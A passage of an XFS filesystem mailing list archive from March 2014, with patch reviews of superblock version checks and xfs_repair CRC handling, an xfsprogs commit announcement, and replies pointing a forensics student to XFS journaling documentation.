oss.sgi.com (Postfix) with ESMTP id C07207F52 for ; Thu, 6 Mar 2014 16:56:02 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 52990AC005 for ; Thu, 6 Mar 2014 14:55:59 -0800 (PST) X-ASG-Debug-ID: 1394146556-04cbb054b811a7a0001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id uKK7u8OLRWYJxQGL for ; Thu, 06 Mar 2014 14:55:56 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AhIIAB/8GFN5LJYe/2dsb2JhbABagwaDRrkWhVyBGxd0giUBAQEDAScTHCMFCwgDDgcDCSUPBSUDIROHcQfPVBcWjkUHhDgEmD2SLINBKIEuJA Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail07.adl2.internode.on.net with ESMTP; 07 Mar 2014 09:25:54 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WLhCX-0007JG-60; Fri, 07 Mar 2014 09:55:41 +1100 Date: Fri, 7 Mar 2014 09:55:41 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [RFC, PATCH] xfs: make superblock version checks reflect reality Message-ID: <20140306225541.GL6851@dastard> X-ASG-Orig-Subj: Re: [RFC, PATCH] xfs: make superblock version checks reflect reality References: <1394088890-10713-1-git-send-email-david@fromorbit.com> <20140306180534.GA305@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140306180534.GA305@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1394146556 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=COMMA_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3661 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 COMMA_SUBJECT Subject is like 'Re: FDSDS, this is a subject' On Thu, Mar 06, 2014 at 10:05:34AM -0800, Christoph Hellwig wrote: > On Thu, Mar 06, 2014 at 05:54:50PM +1100, Dave Chinner wrote: > > From: Dave Chinner > > > > We only support filesystems that have v2 directory support, and than > > means all the checking and handling of superblock versions prior to > > this support being added is completely unnecessary overhead. > > > > Strip out all the version 1-3 support, sanitise the good version > > checking to reflect the supported versions, update all the feature > > supported functions and clean up all the support bit definitions to > > reflect the fact that we no longer care about Irix bootloader flag > > regions for v4 feature bits. > > Good idea in general, I like it. > > > Because the feature bit checking is all inline code, this relatively > > small cleanup has a noticable impact on code size: > > I initially though moving it out of line might not be a bad idea, > but it seems after your diet it's lean enough to not bother. Yeah, i think that chopping out all the branches from the code makes it simple enough that it can remain inline. > > +/* > > + * We only support superblocks that have at least V2 Dir capability. Any feature > > + * bit added after v2 dir capability is also indicates a supported superblock > > + * format. > > + */ > > +#define XFS_SB_NEEDED_FEATURES \ > > + (XFS_SB_VERSION_DIRV2BIT | \ > > + XFS_SB_VERSION_LOGV2BIT | \ > > + XFS_SB_VERSION_SECTORBIT | \ > > + XFS_SB_VERSION_BORGBIT | \ > > XFS_SB_VERSION_MOREBITSBIT) > > This seems a bit odd. Shouldn't we simply check for > XFS_SB_VERSION_DIRV2BIT as we actually rely on that? What if SGI had > backported any of those other features to some IRIX branch? They did. logv2 came from irix, and the borgbit did too. Hence we can be guaranteed that if any of these bits exist on irix, then dirv2 fields are present in the superblock, too. > I'd vote to kill XFS_SB_NEEDED_FEATURES and just check the dirv2 bit > explicitly. Ok. The only real reason I did this was in case there's a single bit error that clears the dirv2 bit, but it still contains other bits that indicate that the superblock is recent enough that we understand it's contents and what should bein the fs. e.g. for db/repair purposes - if the dir2 bit is not set, but any of the above bits are set and the m_dirblklog is and it is sane, we can assume that we've lost the feature bit and repair it. > > +/* > > + * Supported feature bit list is just all bits in the versionnum field because > > + * we've used them all up and understand them all. > > + */ > > +#define XFS_SB_VERSION_OKBITS \ > > + (XFS_SB_VERSION_NUMBITS | \ > > + XFS_SB_VERSION_ALLFBITS) > > > > > +#define XFS_SB_VERSION2_OKBITS \ > > (XFS_SB_VERSION2_LAZYSBCOUNTBIT | \ > > XFS_SB_VERSION2_ATTR2BIT | \ > > XFS_SB_VERSION2_PROJID32BIT | \ > > XFS_SB_VERSION2_FTYPE) > > > +/* > > + * The first XFS version we support is filesytsems with V2 directories. > > + */ > > is a v4 superblock with v2 directories? *nod* > > Also filesystem is mis-spelled. > > > static inline int xfs_sb_good_version(xfs_sb_t *sbp) > > { > > + /* We only support v4 and v5 */ > > + if (XFS_SB_VERSION_NUM(sbp) < XFS_SB_VERSION_4 || > > + XFS_SB_VERSION_NUM(sbp) > XFS_SB_VERSION_5) > > + return 0; > > + > > + /* > > + * Version 5 feature checks are done separately. > > + */ > > + if (XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_5) > > return 1; > > How about doing this a little different? > > static inline int xfs_sb_good_version(struct xfs_sb *sbp) > { > if (XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_5) > return 1; > if (XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_4) > return xfs_sb_good_v4_features(sbp); > return 0; > } > > then move the bulk of the function into xfs_sb_good_v4_features? Makes sense. > > > > + if ((sbp->sb_versionnum & ~XFS_SB_VERSION_OKBITS) || > > + ((sbp->sb_versionnum & XFS_SB_VERSION_MOREBITSBIT) && > > + (sbp->sb_features2 & ~XFS_SB_VERSION2_OKBITS))) > > return 0; > > + if (sbp->sb_shared_vn > XFS_SB_MAX_SHARED_VN) > > + return 0; > > Given that XFS_SB_MAX_SHARED_VN we might as well make that and != 0 > check and document that we don't support any shared superblocks. Should I just drop it out of the supported feature matrix and drop all other checks on that field? That way we can then remove all the the crap that tries to validate it from xfs_repair, too. I have no idea what is actually valid for this field, so I think we should simply drop support of it from everything. > > static inline int xfs_sb_version_hasattr(xfs_sb_t *sbp) > > { > > + return !!(sbp->sb_versionnum & XFS_SB_VERSION_ATTRBIT); > > } > > Should this become a bool? Yeah, I thought about that. Probably should, then the compiler will add the cast rather than having to use !! to bring it back to a bool value. > > > > > static inline void xfs_sb_version_addattr(xfs_sb_t *sbp) > > { > > + sbp->sb_versionnum |= XFS_SB_VERSION_ATTRBIT; > > } > > I'd rather not keep the wrappers for adding these flags - the callers > already know sb internals, might as well not keep a false abstraction > here. Ok, but I'd like to keep that to a separate cleanup.... > > > static inline int xfs_sb_version_hasnlink(xfs_sb_t *sbp) > > { > > - return sbp->sb_versionnum == XFS_SB_VERSION_3 || > > - (XFS_SB_VERSION_NUM(sbp) >= XFS_SB_VERSION_4 && > > - (sbp->sb_versionnum & XFS_SB_VERSION_NLINKBIT)); > > + return !!(sbp->sb_versionnum & XFS_SB_VERSION_NLINKBIT); > > } > > As we reject filesystems without the nlink bit we should just be able > to kill all code protected by xfs_sb_version_hasnlink checks, shouldn't > we? > Same for addnlink. > dirv2 is another candidate. Yes, that's true - but I think those are good candidates for separate patches that follow up on this one. > > @@ -536,11 +493,13 @@ static inline void xfs_sb_version_addattr2(xfs_sb_t *sbp) > > { > > sbp->sb_versionnum |= XFS_SB_VERSION_MOREBITSBIT; > > sbp->sb_features2 |= XFS_SB_VERSION2_ATTR2BIT; > > + sbp->sb_bad_features2 |= XFS_SB_VERSION2_ATTR2BIT; > > } > > > > static inline void xfs_sb_version_removeattr2(xfs_sb_t *sbp) > > { > > sbp->sb_features2 &= ~XFS_SB_VERSION2_ATTR2BIT; > > + sbp->sb_bad_features2 &= ~XFS_SB_VERSION2_ATTR2BIT; > > Where is this coming from? Seems unrelated to the other changes. I noticed that these feature bits weren't updating the bad_features2 field and keeping it consistent with features2, which they should. I'll separate this out into another patch. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Thu Mar 6 17:00:06 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 01CAA7F50 for ; Thu, 6 Mar 2014 17:00:06 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id DD49930408A for ; Thu, 6 Mar 2014 15:00:02 -0800 (PST) X-ASG-Debug-ID: 1394146800-04cbb054b611aa60001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id vGyP7GgBjBGjAvmX for ; Thu, 06 Mar 2014 15:00:01 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AqwbAIb9GFN5LJYe/2dsb2JhbABagwY7gwumAgSTEIVXAwKBGxd0gVgyARoBAQEEOhwjEAgDGAklDwUlAyETh3gOz2EWjkUHhDgEmD03kXWBP4ICKA Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail07.adl2.internode.on.net with ESMTP; 07 Mar 2014 09:30:00 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WLhGV-0007K8-Qy; Fri, 07 Mar 2014 09:59:47 +1100 Date: Fri, 7 Mar 2014 09:59:47 +1100 From: Dave Chinner To: Yongmin Cc: xfs@oss.sgi.com Subject: Re: Hello, I have a question about XFS File System Message-ID: <20140306225947.GM6851@dastard> X-ASG-Orig-Subj: Re: Hello, I have a question about XFS File System References: <195DE8C60CE24A62A71911FDE0B0DC97@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <195DE8C60CE24A62A71911FDE0B0DC97@gmail.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1394146800 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3661 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Mar 06, 2014 at 06:15:27PM +0900, Yongmin wrote: > > Hello. > > My name is Yongmin Park and I am a graduated student in Ajou University (Korea). > My research area is Digital Forensics. > And this time i tried to understand the structure of XFS file system, because XFS is one of the famous huge file system in these days. > > I already founded and read 'XFS Filesystem Structure 2nd Edition Revision 1' on the Internet, which was written by Silicon Graphics Inc in 2006 and it is really well written to understand. > > But the concentrated part of mine is "Deleted File Recovery", so the Journaling part is really important for me,, but regretfully there are no specific guide line about Journaling part... > Also next version(maybe the 3re Edition) is not exsist for more than a 5 years. > > So is there no guide line for journaling part in XFS? > How can i get them,, have I to buy them? or Is Analysing Source Cord only way to study? There is some documentation about some of the logging concepts and design. eg: http://oss.sgi.com/cgi-bin/gitweb.cgi?p=xfs/xfs-documentation.git;a=blob;f=design/xfs-delayed-logging-design.asciidoc But the only way to learn about the actual structure of the log is to read the code and use xfs_logprint to study the contents of the log. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Thu Mar 6 17:23:01 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 0919E7F50 for ; Thu, 6 Mar 2014 17:23:01 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id E4F948F8037 for ; Thu, 6 Mar 2014 15:22:57 -0800 (PST) X-ASG-Debug-ID: 1394148172-04cb6c56763102b0001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id wEIK244tbB7AJfjF for ; Thu, 06 Mar 2014 15:22:52 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AhIIACQCGVN5LJYe/2dsb2JhbABagwaDRrkWhVyBGhd0giUBAQEEJxMcIxAIAw4HAwklDwUlAyETh3jPXBcWjjoLB4Q4BJg9kiyDQSg Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail07.adl2.internode.on.net with ESMTP; 07 Mar 2014 09:52:51 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WLhcc-0007NK-3V; Fri, 07 Mar 2014 10:22:38 +1100 Date: Fri, 7 Mar 2014 10:22:38 +1100 From: Dave Chinner To: Brian Foster Cc: xfs@oss.sgi.com Subject: Re: [PATCH 13/13] repair: phase 1 does not handle superblock CRCs Message-ID: <20140306232238.GN6851@dastard> X-ASG-Orig-Subj: Re: [PATCH 13/13] repair: phase 1 does not handle superblock CRCs References: <1393923117-9559-1-git-send-email-david@fromorbit.com> <1393923117-9559-14-git-send-email-david@fromorbit.com> <20140306160155.GA11842@laptop.bfoster> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140306160155.GA11842@laptop.bfoster> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1394148172 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3662 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Mar 06, 2014 at 11:01:55AM -0500, Brian Foster wrote: > On Tue, Mar 04, 2014 at 07:51:57PM +1100, Dave Chinner wrote: > > From: Dave Chinner > > > > Phase 1 of xfs_repair verifies and corrects the primary > > superblock of the filesystem. It does not verify that the CRC of the > > superblock that is found is correct, nor does it recalculate the CRC > > of the superblock it rewrites. > > > > This happens because phase1 does not use the libxfs buffer cache - > > it just uses pread/pwrite on a memory buffer, and works directly > > from that buffer. Hence we need to add CRC verification to > > verify_sb(), and CRC recalculation to write_primary_sb() so that it > > works correctly. > > > > This also enables us to use get_sb() as the method of fetching the > > superblock from disk after phase 1 without needing to use the libxfs > > buffer cache and guessing at the sector size. This prevents a > > verifier error because it attempts to CRC a superblock buffer that > > is much longer than the usual sector sizes. > > > > Signed-off-by: Dave Chinner > > --- > > repair/agheader.c | 2 +- > > repair/globals.h | 3 ++- > > repair/phase1.c | 5 ++-- > > repair/protos.h | 3 ++- > > repair/sb.c | 71 +++++++++++++++++++++++++++++------------------------ > > repair/xfs_repair.c | 26 +++++++++++--------- > > 6 files changed, 62 insertions(+), 48 deletions(-) > > > > diff --git a/repair/agheader.c b/repair/agheader.c > > index 53e47b6..fc5dac9 100644 > > --- a/repair/agheader.c > > +++ b/repair/agheader.c > > @@ -472,7 +472,7 @@ verify_set_agheader(xfs_mount_t *mp, xfs_buf_t *sbuf, xfs_sb_t *sb, > > int status = XR_OK; > > int status_sb = XR_OK; > > > > - status = verify_sb(sb, (i == 0)); > > + status = verify_sb(sbuf->b_addr, sb, (i == 0)); > > > > if (status != XR_OK) { > > do_warn(_("bad on-disk superblock %d - %s\n"), > > diff --git a/repair/globals.h b/repair/globals.h > > index cbb2ce7..f6e0a22 100644 > > --- a/repair/globals.h > > +++ b/repair/globals.h > > @@ -49,7 +49,8 @@ > > #define XR_BAD_SB_UNIT 17 /* bad stripe unit */ > > #define XR_BAD_SB_WIDTH 18 /* bad stripe width */ > > #define XR_BAD_SVN 19 /* bad shared version number */ > > -#define XR_BAD_ERR_CODE 20 /* Bad error code */ > > +#define XR_BAD_CRC 20 /* Bad CRC */ > > +#define XR_BAD_ERR_CODE 21 /* Bad error code */ > > > > /* XFS filesystem (il)legal values */ > > > > diff --git a/repair/phase1.c b/repair/phase1.c > > index 62de211..ec75ada 100644 > > --- a/repair/phase1.c > > +++ b/repair/phase1.c > > @@ -70,13 +70,14 @@ phase1(xfs_mount_t *mp) > > ag_bp = alloc_ag_buf(MAX_SECTSIZE); > > sb = (xfs_sb_t *) ag_bp; > > > > - if (get_sb(sb, 0LL, MAX_SECTSIZE, 0) == XR_EOF) > > + rval = get_sb(sb, 0LL, MAX_SECTSIZE, 0); > > + if (rval == XR_EOF) > > do_error(_("error reading primary superblock\n")); > > > > /* > > * is this really an sb, verify internal consistency > > */ > > This comment can probably go away now. Otherwise, looks good... > > Reviewed-by: Brian Foster Ok, thanks. I'll kill the comment in a followup patch that touches this code again... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Thu Mar 6 18:05:15 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 49D197F50 for ; Thu, 6 Mar 2014 18:05:15 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 40F36304070 for ; Thu, 6 Mar 2014 16:05:12 -0800 (PST) X-ASG-Debug-ID: 1394150704-04cbb054b711db30001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id M4emY0N2PO1pbxo4 for ; Thu, 06 Mar 2014 16:05:05 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AjQOALwMGVN5LJYe/2dsb2JhbABagwY7gwumAgSTEIZ2F3SCZhw7JDQFJQM0h3ifQLAXFo1udIIYD4F7BJg9kiyBP4ICKIEt Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail07.adl2.internode.on.net with ESMTP; 07 Mar 2014 10:34:53 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WLiHI-0007Ub-Mu for xfs@oss.sgi.com; Fri, 07 Mar 2014 11:04:40 +1100 Date: Fri, 7 Mar 2014 11:04:40 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [ANNOUNCE] xfsprogs: master branch updated to 97b1fcf Message-ID: <20140307000440.GO6851@dastard> X-ASG-Orig-Subj: [ANNOUNCE] xfsprogs: master branch updated to 97b1fcf MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1394150704 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.20 X-Barracuda-Spam-Status: No, SCORE=0.20 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=PR0N_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3662 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.20 PR0N_SUBJECT Subject has letters around special characters (pr0n) Hi Folks, The xfsprogs repository at git://oss.sgi.com/xfs/cmds/xfsprogs has just been updated. The new head of the master branch is commit: 97b1fcf xfs_repair: fix array overrun in do_inode_prefetch New Commits: Dave Chinner (13): [46ea3a6] libxfs: be more forgiving of a v4 secondary sb w/ junk in v5 fields [4b0c789] libxfs: sanitize sb_inopblock in xfs_mount_validate_sb [f3cddd9] libxfs: xfs_sb_read_verify() doesn't flag bad crcs on primary sb [c13fe77] libxfs: skip verification on initial "guess" superblock read [ba5027e] libxfs: limit superblock corruption errors to actual corruption [dbf564d] libxfs: skip pointless CRC updates after verifier failures [3faddc5] libxfs: Use defines for CRC offsets in all cases [d21ca64] libxfs: add helper for verifying checksums on xfs_bufs [43b5aee] libxfs: add helper for updating checksums on xfs_bufs [99c1ec9] libxfs: add xfs_verifier_error() [4592293] libxfs: modify verifiers to differentiate CRC from other errors [9c0a86e] xfs_db: Use EFSBADCRC for CRC validity indication [88f364a] repair: phase 1 does not handle superblock CRCs Eric Sandeen (1): [97b1fcf] xfs_repair: fix array overrun in do_inode_prefetch Code Diffstat: db/io.c | 5 ++-- db/io.h | 2 +- include/darwin.h | 1 + include/freebsd.h | 1 + include/gnukfreebsd.h | 1 + include/irix.h | 2 ++ include/libxfs.h | 16 +++++++++- include/linux.h | 1 + include/xfs_ag.h | 6 ++++ include/xfs_dinode.h | 2 ++ include/xfs_format.h | 2 ++ include/xfs_sb.h | 2 ++ libxfs/util.c | 13 +++++++++ libxfs/xfs.h | 1 + libxfs/xfs_alloc.c | 45 ++++++++++++---------------- libxfs/xfs_alloc_btree.c | 16 +++++----- libxfs/xfs_attr_leaf.c | 17 ++++++----- libxfs/xfs_attr_remote.c | 15 ++++------ libxfs/xfs_bmap_btree.c | 16 +++++----- libxfs/xfs_btree.c | 14 ++++----- libxfs/xfs_da_btree.c | 17 ++++++----- libxfs/xfs_dir2_block.c | 17 ++++++----- libxfs/xfs_dir2_data.c | 20 ++++++------- libxfs/xfs_dir2_leaf.c | 17 ++++++----- libxfs/xfs_dir2_node.c | 17 ++++++----- libxfs/xfs_dquot_buf.c | 11 ++++--- libxfs/xfs_ialloc.c | 24 +++++++-------- libxfs/xfs_ialloc_btree.c | 16 +++++----- libxfs/xfs_inode_buf.c | 7 ++--- libxfs/xfs_sb.c | 32 +++++++++++--------- libxfs/xfs_symlink_remote.c | 16 +++++----- repair/agheader.c | 2 +- repair/globals.h | 3 +- repair/phase1.c | 5 ++-- repair/prefetch.c | 2 +- repair/protos.h | 3 +- repair/sb.c | 71 +++++++++++++++++++++++++-------------------- repair/scan.c | 1 - repair/xfs_repair.c | 26 ++++++++++------- 39 files changed, 273 insertions(+), 212 deletions(-) -- Dave Chinner david@fromorbit.com From jeff.liu@oracle.com Thu Mar 6 20:23:56 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id DA9AB7F50 for ; Thu, 6 Mar 2014 20:23:55 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 9077FAC005 for ; Thu, 6 Mar 2014 18:23:52 -0800 (PST) X-ASG-Debug-ID: 1394159029-04bdf05daa33b150001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id dgqBMTuRDv6Hk3o2 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 06 Mar 2014 18:23:50 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from ucsinet21.oracle.com (ucsinet21.oracle.com [156.151.31.93]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id s272NjGi013470 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 7 Mar 2014 02:23:46 GMT Received: from userz7022.oracle.com (userz7022.oracle.com [156.151.31.86]) by ucsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s272NjMk028518 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 7 Mar 2014 02:23:45 GMT Received: from abhmp0001.oracle.com (abhmp0001.oracle.com [141.146.116.7]) by userz7022.oracle.com (8.14.5+Sun/8.14.4) with ESMTP id s272Nit2000284; Fri, 7 Mar 2014 02:23:44 GMT Received: from [192.168.1.102] (/60.212.7.247) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Thu, 06 Mar 2014 18:23:44 -0800 Message-ID: <53192DAA.1040305@oracle.com> Date: Fri, 07 Mar 2014 10:23:38 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Dave Chinner , Yongmin CC: xfs@oss.sgi.com Subject: Re: Hello, I have a question about XFS File System References: <195DE8C60CE24A62A71911FDE0B0DC97@gmail.com> <20140306225947.GM6851@dastard> X-ASG-Orig-Subj: Re: Hello, I have a question about XFS File System In-Reply-To: <20140306225947.GM6851@dastard> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: ucsinet21.oracle.com [156.151.31.93] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1394159030 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3667 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 03/07 2014 06:59 AM, Dave Chinner wrote: > On Thu, Mar 06, 2014 at 06:15:27PM +0900, Yongmin wrote: >> >> Hello. >> >> My name is Yongmin Park and I am a graduated student in Ajou University (Korea). >> My research area is Digital Forensics. >> And this time i tried to understand the structure of XFS file system, because XFS is one of the famous huge file system in these days. >> >> I already founded and read 'XFS Filesystem Structure 2nd Edition Revision 1' on the Internet, which was written by Silicon Graphics Inc in 2006 and it is really well written to understand. >> >> But the concentrated part of mine is "Deleted File Recovery", so the Journaling part is really important for me,, but regretfully there are no specific guide line about Journaling part... >> Also next version(maybe the 3re Edition) is not exsist for more than a 5 years. >> >> So is there no guide line for journaling part in XFS? >> How can i get them,, have I to buy them? or Is Analysing Source Cord only way to study? > > There is some documentation about some of the logging concepts and > design. eg: > > http://oss.sgi.com/cgi-bin/gitweb.cgi?p=xfs/xfs-documentation.git;a=blob;f=design/xfs-delayed-logging-design.asciidoc Not sure if someone else also think that XFS journal design is the stumbling-block to get involved into the development...but I once heard of "I'm really confused by the design of delayed logging, I have to give up after reading the document for about 2 or 3 weeks..." from 2 Chinese developers in the past year, though nothing can help someone out without taking infinite patience. > > But the only way to learn about the actual structure of the log is to > read the code and use xfs_logprint to study the contents of the log. To Yongmin, For your information only. I'm trying to understand XFS journal via the following steps: 1) Download Linux-2.6.34 source, read the journal code. Understand the original design as there is no delayed-logging support at that time. FYI, two obsoleted documents could be found at, http://oss.sgi.com/projects/xfs/design_docs/xfsdocs93_pdf/log_mgr-overview.pdf http://oss.sgi.com/projects/xfs/design_docs/xfsdocs93_pdf/log_mgr.pdf 2) Download Linux-2.6.35 source, read the journal code and delayed-logging-design doc as per Dave's suggestion because we have this big change in this version. 3) Play with xfs_logprint with the XFS mainline source and read all those threads in XFS mailing list which are related to journals in the past several years.... 4) Nothing, just have fun. :) Thanks, -Jeff From david@fromorbit.com Thu Mar 6 22:19:38 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id E57A97F50 for ; Thu, 6 Mar 2014 22:19:38 -0600 (CST) Received: from cuda.sgi.com 